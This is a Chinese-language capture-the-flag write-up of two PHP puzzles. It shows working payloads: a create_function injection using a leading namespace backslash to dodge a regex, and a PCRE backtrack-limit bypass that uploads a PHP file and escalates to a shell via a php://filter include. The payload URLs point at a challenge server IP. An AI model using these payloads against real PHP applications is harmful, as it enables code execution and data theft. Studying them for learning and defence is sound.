发现P神办了个小密圈两周年的活动,并且放了一些题目。学习记录一下

https://code-breaking.com/

easy-function

这道题代码很短,就几行,但是学到了新知识

1
2
3
4
5
6
7
8
9
 <?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

不难看出,需要通过传入action作为函数名,传入arg作为该函数的变量。初步的想法是构造成eval函数然后任意执行代码。这里犯了个错,eval是一种语言结构而不是函数,所以不能通过这种动态调用函数的方式调用,所以改用assert

但是发现action是有两个参数的,所以assertsystem不行。试试,create_fuction(),为了本地测试方便,先将正则部分注释掉了。

​ 再看正则部分,action要出现除了字母数字以及下划线以外的字符。回想一下所有的函数名,似乎都是字母构成的,例如systemassert如果引入一个非字母的字符,必然导致函数无法执行。

这边从大佬们的题解里学到了php默认的命名空间是 \

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。

如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

就是 \ 在php中表示默认的命名空间,比如写一些类的时候会在开头写

1
2
3
> namespace think\db;
> use think\Exception;
>

也就是说,调用php自带的原生函数时可以在前面加一个\,这样的写法就是调用默认命名空间中的某个函数。

这样就满足了正则,就可以注入任意代码了。

这边应该是禁用了system函数,所以不能直接调用系统命令。因此payload如下

1
http://51.158.75.42:8087/?action=\create_function&arg=}print_r(scandir(%27../%27));//
1
http://51.158.75.42:8087/?action=\create_function&arg=}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));//

easy_prcewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

是一个模拟文件上传的过程。并且会讲上传的文件内容读取出来,判断里面是否写入了php代码这样可能是为了防止文件包含漏洞吧.文件上传之后会被保存在一个以用户ip用md5加密后的路径下,并且用一个随机数字重命名该文件。

问题的关键点在于如何绕过is_php这个正则。只要绕过这里,就可以上传任意的php文件并且执行。最先想到的是之前做过类似死亡退出的那题。将这些字符利用编码的方式变成满足正则的字符串。然后再通过某种方式解码,还原成正常的php代码,就可以执行了。
​ 可控的输入点只有文件的内容。也就意味着,没办法利用伪协议进行编码解码的操作。

解决办法:正则匹配 回溯超过最大次数(100万次)则正则匹配失败,导致的绕过

http://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

原理在以上两篇文章写的很清楚了。只记录下具体做法。

因此payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#我是写了一个上传文件的表单
<html>
<body>
<form action="http://51.158.75.42:8088/" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>
1
2
3
#python生成一个文件
with open("shell.txt", "w+") as f:
f.write("<?php print_r(scandir('../../../'));print_r(file_get_contents('../../../flag_php7_2_1s_c0rrect'));/*"+'A'*1000000

上传这个文件就能拿到flag。当绕过了正则,其实php的代码内容就可以发挥各自的想象
比如利用include

1
2
with open("shell.txt", "w+") as f:
f.write("<?php include 'php://filter/read=convert.base64-decode/resource=./5.php';/*"+'A'*1000000)

先上传一个文件内容用base64加密好的文件,再上传这个shell.txt就可以getshell;